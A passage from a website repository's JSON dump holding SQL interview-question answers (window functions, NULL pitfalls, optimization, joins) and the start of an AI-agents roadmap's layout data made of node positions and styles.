    "content": "Since NULL is unknown, a `NOT IN` query containing a NULL or NULL in the list of possible values will always return 0 records because of the unknown result introduced by the NULL value. SQL cannot determine for sure whether the value is not in that list.\n\nLet's illustrate this using a table `Sales` that looks like this:\n\n| id | day       | amount |\n| -- | --------- | ------ |\n| 1  | Monday    | 200    |\n| 2  | Tuesday   | 300    |\n| 3  | Wednesday | 600    |\n| 4  | Thursday  | 390    |\n| 5  | Friday    | 900    |\n| 6  | Saturday  | 600    |\n\nIf you run the query below, it will return an empty result because SQL cannot determine if the value is not in the list because nothing equals or doesn't equal NULL.\n\n```sql\nSELECT * from sales\nWHERE amount NOT IN (200, 300, 600, NULL);\n``` "
  },
  {
    "path": "src/data/question-groups/sql-queries/content/ntile-function.md",
    "content": "**NTILE()** is a window function that divides rows into a pre-defined number of roughly equal groups. It's like breaking your data into different sets based on your defined criteria. For example, let's say you have some student scores from 1 to 100; you can use the **NTILE()** function to categorize the scores into different groups or buckets. \n\nThe syntax of the `NTILE()` function is:\n\n```sql\nNTILE(n) OVER (ORDER BY some_column)\n```\n\n- n: represents the number of groups you want to divide your rows into.\n- ORDER BY: defines the order of the rows in each group where the function is applied.\n\n \nLet's see a practical example using a table `Scores`. The table stores students' scores on a test. We will see how to use the **NTILE()** function.\n\n| userId | score |\n| ------ | ----- |\n| 1      | 78    |\n| 2      | 70    |\n| 3      | 90    |\n| 4      | 98    |\n| 5      | 60    |\n| 6      | 88    |\n| 7      | 100   |\n| 8      | 66    |\n\nThe query using the **NTILE()** function looks like this:\n\n```sql\nSELECT\n  id,\n  score,\n  NTILE(3) OVER (ORDER BY score DESC) AS category\nFROM scores;\n```\n\n| userId | score | category |\n| ------ | ----- | -------- |\n| 7      | 100   | 1        |\n| 4      | 98    | 1        |\n| 3      | 90    | 1        |\n| 6      | 88    | 2        |\n| 1      | 78    | 2        |\n| 2      | 70    | 2        |\n| 8      | 66    | 3        |\n| 5      | 60    | 3        |\n\nThe **NTILE()** function is useful in data analysis because it can detect outliers in a data set and create histograms of data. It can also create percentiles and quartiles for data distribution. "
  },
  {
    "path": "src/data/question-groups/sql-queries/content/optimize-slow-queries.md",
    "content": "To optimize slow-running queries, you need to analyze the query first to know what to optimize. You can perform different optimizations depending on the query. Some of the optimizations include:\n\n- **Using indexes effectively**: Indexes speed up queries by enabling the database to find entries that fit specific criteria quickly. Indexing is the process of mapping the values of one or more columns to a unique value that makes it easy to search for rows that match a search criteria. You can create indexes on columns used frequently in the **WHERE**, **JOIN**, and **ORDER BY** clauses. However, note that creating too many indexes can slow down inserts, updates, and deletions.\n\n- **Avoid SELECT *** : Using the **SELECT** ***** statement can slow down your query performance because it returns all the columns in a table including the ones not needed for the query. You should select only the columns that you need for a query for optimal performance. So when you see a query that selects all columns, you should check if all the columns are really needed and used further down the query chain.\n\n- **Avoid using subqueries**: Subqueries slow down query performance, especially when you use them in the `WHERE` or `HAVING` clauses. You should avoid using subqueries where possible and use JOINs or other techniques instead.\n\n- **Utilize stored procedures**: Stored procedures are precompiled SQL statements stored in a database, and can be called from an application or directly from a query. Using stored procedures can improve your query performance by reducing the amount of data that is sent between the database and your application, and also saves time required to compile the SQL statements. "
  },
  {
    "path": "src/data/question-groups/sql-queries/content/primary-key.md",
    "content": "A primary key is the unique identifier of a row of data in a table. You use it to identify each row uniquely, and no two rows can have the same primary key. A primary key column cannot be null. In the example below, `user_id` is the primary key.\n\n```sql\nCREATE TABLE users (\n   user_id INT PRIMARY KEY,\n   name VARCHAR(100),\n   phoneNumber VARCHAR(100)\n);\n``` "
  },
  {
    "path": "src/data/question-groups/sql-queries/content/rank-dense-rank-row-number.md",
    "content": "The **RANK()** function assigns each row a rank according to an ascending or descending order. If there are matching values, it assigns them the same position and then skips the next number for the next rank. For example, if two rows have equivalent values and are both assigned rank 1, the next rank would be 3 instead of 2.\n\n![Window functions](https://assets.roadmap.sh/guest/window-functions-42dn5.png)\n\nLet's use the `Sales` table from the previous question to illustrate the **RANK()** function. The query to rank in order of the amount looks like this:\n\n```sql\nSELECT\n  id,\n  day,\n  amount,\n  RANK() OVER (ORDER BY amount DESC) AS amount_rank\nFROM\n  sales;\n```\n\nThe result is shown in the image below. You will observe that the amount 900 takes the first rank and 200 the lowest rank. Also, there is a gap between rank 2 and 4 because two values have the same rank. You can also infer that the most sales were on Friday and the least on Monday. \n\n| id | day       | amount | amount_rank |\n| -- | --------- | ------ | ----------- |\n| 5  | Friday    | 900    | 1           |\n| 3  | Wednesday | 600    | 2           |\n| 6  | Saturday  | 600    | 2           |\n| 4  | Thursday  | 390    | 4           |\n| 2  | Tuesday   | 300    | 5           |\n| 1  | Monday    | 200    | 6           |\n\n**DENSE_RANK()** function is similar to **RANK()** in that it assigns ranks to rows, but the difference is that **DENSE_RANK** does not leave a gap when there are two or more equivalent values. Let's illustrate it with the `Sales` table from above. The query is shown below.\n\n```sql\nSELECT\n  id,\n  day,\n  amount,\n  DENSE_RANK() OVER (ORDER BY amount DESC) AS amount_rank\nFROM\n  sales;\n```\n\nThe result is shown below. As you will notice, there is no gap between the ranks like in the **RANK** function.\n\n| id | day       | amount | amount_rank |\n| -- | --------- | ------ | ----------- |\n| 5  | Friday    | 900    | 1           |\n| 3  | Wednesday | 600    | 2           |\n| 6  | Saturday  | 600    | 2           |\n| 4  | Thursday  | 390    | 3           |\n| 2  | Tuesday   | 300    | 4           |\n| 1  | Monday    | 200    | 5           |\n\n**ROW_NUMBER** assigns a unique number to each row depending on the order you specify. It does not skip numbers; even though there are equivalent values, it assigns them different numbers, unlike **RANK** and **DENSE_RANK** functions that give them the same rank.\n\nLet's use the same `Sales` table to illustrate. The query below shows how to use the **ROW_NUMBER** function.\n\n```sql\nSELECT\n  id,\n  day,\n  amount,\n  ROW_NUMBER() OVER (ORDER BY amount DESC) AS rowNumber\nFROM\n  sales;\n```\n\nThe result is shown in the image below. You will notice that the `rownumber` column increases, and even though there are matching values, it just assigns a unique row number to each.\n\n| id | day       | amount | amount_rank |\n| -- | --------- | ------ | ----------- |\n| 5  | Friday    | 900    | 1           |\n| 3  | Wednesday | 600    | 2           |\n| 6  | Saturday  | 600    | 3           |\n| 4  | Thursday  | 390    | 4           |\n| 2  | Tuesday   | 300    | 5           |\n| 1  | Monday    | 200    | 6           | "
  },
  {
    "path": "src/data/question-groups/sql-queries/content/running-total.md",
    "content": "Let's use a table `Sales` as a reference for this query. It has three columns: `id`, `day` which represents the day of the week, and `amount` which is the amount sold in US Dollars. The table looks like this:\n\n| id | day       | amount |\n| -- | --------- | ------ |\n| 1  | Monday    | 200    |\n| 2  | Tuesday   | 300    |\n| 3  | Wednesday | 600    |\n| 4  | Thursday  | 390    |\n| 5  | Friday    | 900    |\n\nThe query to calculate the running total is:\n\n```sql\nSELECT\n  id,\n  sale_date,\n  amount,\n  SUM(amount) OVER (ORDER BY sale_date) AS running_total\nFROM\n  sales;\n```\n\nThe query uses a Window function **OVER** to sum the amount for each row of data and saving the running total. It gets the total for each day and adds it to the previous totals. The result of the query looks like this:\n\n| id | day       | amount | running_total |\n| -- | --------- | ------ | ------------- |\n| 1  | Monday    | 200    | 200           |\n| 2  | Tuesday   | 300    | 500           |\n| 4  | Thursday  | 390    | 1100          |\n| 3  | Wednesday | 600    | 1490          |\n| 5  | Friday    | 900    | 2390          |\n\nYou can observe from the image that the last column is `running_total,` which takes the amount for the current day and adds it to its previous value to get its current value. "
  },
  {
    "path": "src/data/question-groups/sql-queries/content/sargable-query.md",
    "content": "SARGable stands for Search Argumentable query, which uses indexes and leads to efficient queries. If a query is SARGable, the database engine quickly locates rows using indexes, avoids scanning the whole table, and improves query performance. "
  },
  {
    "path": "src/data/question-groups/sql-queries/content/second-highest-salary.md",
    "content": "Given a table `Salaries`,\n\n| id | salary |\n| -- | ------ |\n| 1  | 1000   |\n| 2  | 2000   |\n| 3  | 3000   |\n| 4  | 4000   |\n\nThe query to find the second-highest salary is shown in the code snippet below\n\n```sql\nSELECT DISTINCT Salary\nFROM Salaries\nORDER BY Salary DESC\nLIMIT 1 OFFSET 1\n```\n\nThe result of the query is shown below\n\n|   | salary |\n| - | ------ |\n| 1 | 3000   | "
  },
  {
    "path": "src/data/question-groups/sql-queries/content/select-non-grouped-column.md",
    "content": "If you **SELECT** a column not in the **GROUP BY** clause, it will throw an error stating that the column must be in the **GROUP BY** clause or in an aggregate function. Let's use the table below as an illustration.\n\n| firstName | lastName  | phoneNumber |\n| --------- | --------- | ----------- |\n| John      | Doe       | +23410910   |\n| Jack      | Ray       | +23410911   |\n| Irene     | Rotherdam | +23410911   |\n\nIf you run the query below against the database:\n\n```sql\nSELECT firstName, phoneNumber FROM phoneNumbers\nGROUP BY phoneNumber\n```\n\nThe result will be an error because `firstName` is not in the **GROUP BY** clause and not using an aggregate function. "
  },
  {
    "path": "src/data/question-groups/sql-queries/content/sql-queries-ending.md",
    "content": "## Wrapping up\n\nMastering SQL queries is essential for anyone working with databases, whether you're a beginner just starting out or an experienced developer looking to sharpen your skills. The 30 questions covered in this guide span from foundational concepts like JOINs and WHERE clauses to advanced topics such as window functions and query optimization.\n\nRemember that SQL proficiency comes with practice. Take time to implement these queries in your own database environment, experiment with different scenarios, and understand how each function behaves with various data sets. The more you practice, the more confident you'll become in handling complex database challenges during interviews and in real-world applications.\n\nKeep this guide handy as a reference, and don't hesitate to revisit the concepts that challenge you most. Good luck with your SQL journey and upcoming interviews!"
  },
  {
    "path": "src/data/question-groups/sql-queries/content/subquery-vs-join.md",
    "content": "A subquery is a query that is inside another query. You use it for queries that require complex logic. You should use subqueries when you want to use the result of that subquery for another query. In the example below, the subquery is in brackets.\n\n![Subquery](https://assets.roadmap.sh/guest/sql-subquery-ro4d0.png)\n\n```sql\nSELECT firstName,\n  (SELECT COUNT(*)\n  FROM cities\n  WHERE cities.id = users.city_id) AS cityCount\nFROM users;\n```\n\nOn the other hand, a **JOIN** combines two or more tables based on related columns between them. The related column is usually a foreign key. You should use **JOINS** when you want to pull related data from different tables together. The code below illustrates how to use a **JOIN**.\n\n```sql\nSELECT firstName, COUNT(*) FROM users\nJOIN cities ON users.city_id = cities.id\n```\n\nA JOIN is faster than a subquery in the following scenarios:\n\n- When you are querying data from multiple tables.\n- When you are filtering or joining on index columns. "
  },
  {
    "path": "src/data/question-groups/sql-queries/content/union-vs-union-all.md",
    "content": "UNION is used for removing duplicates while UNION ALL keeps all duplicates. UNION is slower compared to UNION ALL because of de-duplication. You use UNION when you want to obtain unique records and UNION ALL when you want every row even if they are repeated. "
  },
  {
    "path": "src/data/question-groups/sql-queries/content/where-vs-having.md",
    "content": "You use **WHERE** for filtering rows before applying any grouping or aggregation. \nThe code snippet below illustrates the use of **WHERE**. It filters the `Users` table for rows where the `Age` is greater than 18. \n\n```sql\nSELECT * FROM Users\nWHERE Age > 18;\n```\n\nThe result of the query is similar to the table below.\n\n| userId | firstName | lastName | age |\n| ------ | --------- | -------- | --- |\n| 1      | John      | Doe      | 30  |\n| 2      | Jane      | Don      | 31  |\n| 3      | Will      | Liam     | 25  |\n| 4      | Wade      | Great    | 32  |\n| 5      | Peter     | Smith    | 27  |\n\nOn the other hand, you use **HAVING** to filter groups after performing grouping and aggregation. You apply it to the result of aggregate functions, and it is mostly used with the **GROUP BY** clause.\n\n```sql\nSELECT FirstName, Age FROM Users\nGROUP BY FirstName, Age\nHAVING Age > 30;\n```\n\nThe code above selects the `FirstName` and `Age` columns, then groups by the `FirstName` and `Age`, and finally gets entries with age greater than 30. The result of the query looks like this:\n\n| firstName | age |\n| --------- | --- |\n| Wade      | 32  |\n| Jane      | 31  |"
  },
  {
    "path": "src/data/question-groups/sql-queries/content/window-function.md",
    "content": "A window function is a function that allows you to perform operations on a specific set of rows related to the current row. Unlike aggregate functions that perform calculations on an entire data set, window functions can perform operations on a subset of data. These calculations are valid for aggregates, ranking, and cumulative totals without altering the original dataset. "
  },
  {
    "path": "src/data/question-groups/sql-queries/sql-queries.md",
    "content": "---\norder: 1\nbriefTitle: 'SQL Queries'\nbriefDescription: 'Writing SQL queries on the spot is tough. This guide covers 30 common SQL queries interview questions with examples, code snippets, and explanations.'\ntitle: '30 SQL Queries Interview Questions and Answers'\ndescription: 'Writing SQL queries on the spot is tough. This guide covers 30 common SQL queries interview questions with examples, code snippets, and explanations.'\nauthorId: 'ekene'\nending: 'sql-queries-ending.md'\nisNew: true\ndate: 2025-06-17\nseo:\n  title: '30 SQL Queries Interview Questions and Answers'\n  description: 'Writing SQL queries on the spot is tough. This guide covers 30 common SQL queries interview questions with examples, code snippets, and explanations.'\n  ogImageUrl: 'https://assets.roadmap.sh/guest/sql-queries-interview-questions-and-answers-q3qua.jpg'\n  keywords: \n    - 'sql quiz' \n    - 'sql questions' \n    - 'sql interview questions' \n    - 'sql interview' \n    - 'sql test'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\nquestions:\n    - question: What is the difference between WHERE and HAVING?\n      answer: where-vs-having.md\n      topics:\n      - 'Foundational SQL Queries'\n    - question: How do you find duplicates in a table?\n      answer: find-duplicates.md\n      topics:\n      - 'Foundational SQL Queries'\n    - question: What is the difference between INNER JOIN and LEFT JOIN?\n      answer: inner-join-vs-left-join.md\n      topics:\n      - 'Foundational SQL Queries'\n    - question: Write a query to find the second highest salary from a table\n      answer: second-highest-salary.md\n      topics:\n      - 'Foundational SQL Queries'\n    - question: What is the difference between UNION and UNION ALL?\n      answer: union-vs-union-all.md\n      topics:\n      - 'Foundational SQL Queries'\n    - question: What are indexes and why are they useful?\n      answer: indexes-usefulness.md\n      topics:\n      - 'Foundational SQL Queries'\n    - question: What is a primary key?\n      answer: primary-key.md\n      topics:\n      - 'Foundational SQL Queries'\n    - question: What is a foreign key?\n      answer: foreign-key.md\n      topics:\n      - 'Foundational SQL Queries'\n    - question: How does GROUP BY work?\n      answer: group-by-work.md\n      topics:\n      - 'Aggregation and grouping'\n    - question: What happens if you SELECT a column not in the GROUP BY clause?\n      answer: select-non-grouped-column.md\n      topics:\n      - 'Aggregation and grouping'\n    - question: Write a query to COUNT the number of users by country\n      answer: count-users-by-country.md\n      topics:\n      - 'Aggregation and grouping'\n    - question: What happens if you use GROUP BY without an aggregate function?\n      answer: group-by-without-aggregate.md\n      topics:\n      - 'Aggregation and grouping'\n    - question: What is the difference between COUNT(\\*) and COUNT(column_name)?\n      answer: count-star-vs-count-column.md\n      topics:\n      - 'Aggregation and grouping'\n    - question: What is the difference between a subquery and a JOIN?\n      answer: subquery-vs-join.md\n      topics:\n      - 'Subqueries and nested logic'\n    - question: Write a query to find employees earning more than the average salary\n      answer: employees-above-average-salary.md\n      topics:\n      - 'Subqueries and nested logic'\n    - question: Explain how a correlated subquery works\n      answer: correlated-subquery.md\n      topics:\n      - 'Subqueries and nested logic'\n    - question: When should you use EXISTS instead of IN in a subquery?\n      answer: exists-vs-in.md\n      topics:\n      - 'Subqueries and nested logic'\n    - question: Can you nest subqueries multiple levels deep?\n      answer: nested-subqueries.md\n      topics:\n      - 'Subqueries and nested logic'\n    - question: What is a window function?\n      answer: window-function.md\n      topics:\n      - 'Window functions and advanced queries'\n    - question: Write a query to calculate a running total\n      answer: running-total.md\n      topics:\n      - 'Window functions and advanced queries'\n    - question: What is the difference between RANK(), DENSE_RANK(), and ROW_NUMBER()?\n      answer: rank-dense-rank-row-number.md\n      topics:\n      - 'Window functions and advanced queries'\n    - question: What is LAG() and LEAD() in SQL? Give an example use case\n      answer: lag-lead-functions.md\n      topics:\n      - 'Window functions and advanced queries'\n    - question: How will you detect gaps in a sequence of dates per user?\n      answer: detect-date-gaps.md\n      topics:\n      - 'Window functions and advanced queries'\n    - question: What does the NTILE() function do, and how might it be useful in analyzing data?\n      answer: ntile-function.md\n      topics:\n      - 'Window functions and advanced queries'\n    - question: How would you optimize slow-running queries?\n      answer: optimize-slow-queries.md\n      topics:\n      - 'Optimization and pitfalls'\n    - question: Why should you avoid SELECT \\* in production code?\n      answer: avoid-select-star.md\n      topics:\n      - 'Optimization and pitfalls'\n    - question: What is the impact of missing indexes?\n      answer: missing-indexes-impact.md\n      topics:\n      - 'Optimization and pitfalls'\n    - question: What is a SARGable query?\n      answer: sargable-query.md\n      topics:\n      - 'Optimization and pitfalls'\n    - question: What are some common mistakes when using GROUP BY?\n      answer: group-by-mistakes.md\n      topics:\n      - 'Optimization and pitfalls'\n    - question: Why can NOT IN lead to unexpected results with NULLS?\n      answer: not-in-null-issues.md\n      topics:\n      - 'Optimization and pitfalls'\n---\n\n![SQL queries interview questions and answers](https://assets.roadmap.sh/guest/sql-queries-interview-questions-and-answers-q3qua.jpg)\n\nWriting SQL queries during interviews can be tough for beginners and experienced developers. However, with the right preparation and practice, you can ace your next SQL queries interview.\n\nIn this guide, I'll walk you through both basic and advanced SQL queries like SELECT, JOIN, GROUP BY, and window functions. Each answer will be short and clear and include SQL code examples for you to understand the concepts better. By the end of this guide, you'll be in a much better position to ace your SQL queries interview and build solid skills you can use beyond it.\n\nI have included a set of flashcards to help you study and practice more efficiently. If you are just starting out in your career, checkout roadmap.sh's [SQL roadmap](https://roadmap.sh/sql) or take our [SQL queries course](https://roadmap.sh/courses/sql) to master this topic in under 60 hours!\n\n## Preparing for your SQL queries interview\n\nWhile preparing for your interview, you should remember the following points.\n\n- Review the basics of SQL. You should know what SQL stands for and what it is used for.\n- Make sure you have a basic understanding of databases and the different types of databases, such as SQL and NoSQL databases.\n- Consider reading about the SQL data types and basic database concepts such as indexing, foreign keys, primary keys, etc.\n- Practice writing SQL queries on local databases or online platforms like [HackerRank](https://www.hackerrank.com/domains/sql).\n- Get familiar with at least one relational database management system such as [PostgreSQL](https://roadmap.sh/postgresql-dba), Microsoft SQL Server, MySQL, Oracle DB.\n- On a general note, read up on the company you are interviewing with to know more about what they do, and also prepare some questions beforehand to show you are interested in what they do.\n"
  },
  {
    "path": "src/data/roadmaps/ai-agents/ai-agents.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"3GO9CZQSSxM1eRSBz9sWR\",\n      \"type\": \"horizontal\",\n      \"position\": { \"x\": 448.47614503814657, \"y\": 3322.5001335516636 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.75 }\n      },\n      \"zIndex\": 999,\n      \"width\": 157,\n      \"height\": 20,\n      \"style\": {},\n      \"measured\": { \"width\": 157, \"height\": 20 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"9MVi8gN_TNI515-5til_s\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": 739, \"y\": 3056.5001335516636 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.75 }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 55,\n      \"style\": {},\n      \"measured\": { \"width\": 20, \"height\": 55 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"h2-93F69l8wKXkvT-iFC4\",\n      \"type\": \"section\",\n      \"position\": { \"x\": -135.00832024152123, \"y\": 2818.2399357924473 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 306,\n      \"height\": 288,\n      \"style\": { \"width\": 150, \"height\": 100 },\n      \"measured\": { \"width\": 306, \"height\": 288 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"ucZ3vn5WgFOfa8Wpb0Hgk\",\n      \"type\": \"section\",\n      \"position\": { \"x\": -135.00832024152123, \"y\": 2412.347193632089 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 306,\n      \"height\": 420,\n      \"style\": { \"width\": 150, \"height\": 100 },\n      \"measured\": { \"width\": 306, \"height\": 420 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"JuxzWFeM_vwgn4pj0wxfY\",\n      \"type\": \"horizontal\",\n      \"position\": { \"x\": 528.9761450381466, \"y\": 2710.42394018722 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.75 }\n      },\n      \"zIndex\": 999,\n      \"width\": 72,\n      \"height\": 20,\n      \"style\": {},\n      \"measured\": { \"width\": 72, \"height\": 20 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"R18O3kbMoSEicZbLgUP7s\",\n      \"type\": \"section\",\n      \"position\": { \"x\": 264.97614503814657, \"y\": 2694.92394018722 },\n      \"width\": 265,\n      \"height\": 310,\n      \"style\": { \"width\": 241, \"height\": 60 },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\",\n          \"borderRadius\": 5\n        }\n      },\n      \"measured\": { \"width\": 265, \"height\": 310 },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false\n    },\n    {\n      \"id\": \"MeOebqpbLZkPbj0iWRjP2\",\n      \"type\": \"section\",\n      \"position\": { \"x\": 600.30929781038, \"y\": 2481.0335978441904 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": { \"label\": \"\", \"style\": { \"fontSize\": 17 } },\n      \"zIndex\": -999,\n      \"width\": 299,\n      \"height\": 173,\n      \"style\": { \"width\": 150, \"height\": 100 },\n      \"measured\": { \"width\": 299, \"height\": 173 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"-MLEtjuRq9y1HpZeKJCts\",\n      \"type\": \"section\",\n      \"position\": { \"x\": 264.97614503814657, \"y\": 2218.019754844708 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 265,\n      \"height\": 434,\n      \"style\": { \"width\": 150, \"height\": 100 },\n      \"measured\": { \"width\": 265, \"height\": 434 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"NI3gC3eiPXDkirpD7sk10\",\n      \"type\": \"horizontal\",\n      \"position\": { \"x\": 162.26555040271785, \"y\": 2023.1355435052951 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.75 }\n      },\n      \"zIndex\": 999,\n      \"width\": 132,\n      \"height\": 20,\n      \"style\": {},\n      \"measured\": { \"width\": 132, \"height\": 20 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"u8n0Lh3rJrqnRyc0KCjdr\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": 774.80929781038, \"y\": 1851.6702232480886 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.75 }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 138,\n      \"style\": {},\n      \"measured\": { \"width\": 20, \"height\": 138 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"0nEbIdUFlhBp7Pn9lzZDG\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": 709.8290815371215, \"y\": 1851.6702232480886 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.75 },\n        \"oldId\": \"u8n0Lh3rJrqnRyc0KCjdr\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 74,\n      \"style\": {},\n      \"measured\": { \"width\": 20, \"height\": 74 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"qLO_DcIM2OY_i8njSIt1q\",\n      \"type\": \"section\",\n      \"position\": { \"x\": -103.7455305579661, \"y\": 1802.5941482842695 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 229,\n      \"height\": 171,\n      \"style\": { \"width\": 150, \"height\": 100 },\n      \"measured\": { \"width\": 229, \"height\": 171 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"PebDvL0Oyzh9mna-AbiaO\",\n      \"type\": \"horizontal\",\n      \"position\": { \"x\": 118.85088070462893, \"y\": 1725.7407354438553 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.5 }\n      },\n      \"zIndex\": 999,\n      \"width\": 115,\n      \"height\": 20,\n      \"style\": {},\n      \"measured\": { \"width\": 115, \"height\": 20 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"K2ueUkBcV5ASMhHUUZH-A\",\n      \"type\": \"section\",\n      \"position\": { \"x\": 233.85088070462893, \"y\": 1711.2407354438553 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 289,\n      \"height\": 166,\n      \"style\": { \"width\": 150, \"height\": 100 },\n      \"measured\": { \"width\": 289, \"height\": 166 },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"dragging\": false\n    },\n    {\n      \"id\": \"0WHI9bT9SJnNfuBkY1oU1\",\n      \"type\": \"section\",\n      \"position\": { \"x\": 636.0988844716816, \"y\": 1988.6355435052951 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 255,\n      \"height\": 207,\n      \"style\": { \"width\": 150, \"height\": 100 },\n      \"measured\": { \"width\": 255, \"height\": 207 },\n      \"resizing\": true,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"iw9O2qcCgvICJc6HvpUYf\",\n      \"type\": \"section\",\n      \"position\": { \"x\": 247.76555040271785, \"y\": 1412.2018556690077 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 238,\n      \"height\": 149,\n      \"style\": { \"width\": 150, \"height\": 100 },\n      \"measured\": { \"width\": 238, \"height\": 149 },\n      \"dragging\": false,\n      \"resizing\": true,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"v-zVQKH6XEMCI4Np-Q3Jo\",\n      \"type\": \"section\",\n      \"position\": { \"x\": -137.2455305579661, \"y\": 1244.2910027738571 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 296,\n      \"height\": 374,\n      \"style\": { \"width\": 150, \"height\": 100 },\n      \"measured\": { \"width\": 296, \"height\": 374 },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"dragging\": false\n    },\n    {\n      \"id\": \"c58fcsthBlVfzfr-MHdpF\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": 357.48246683384076, \"y\": -136.01175492596462 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      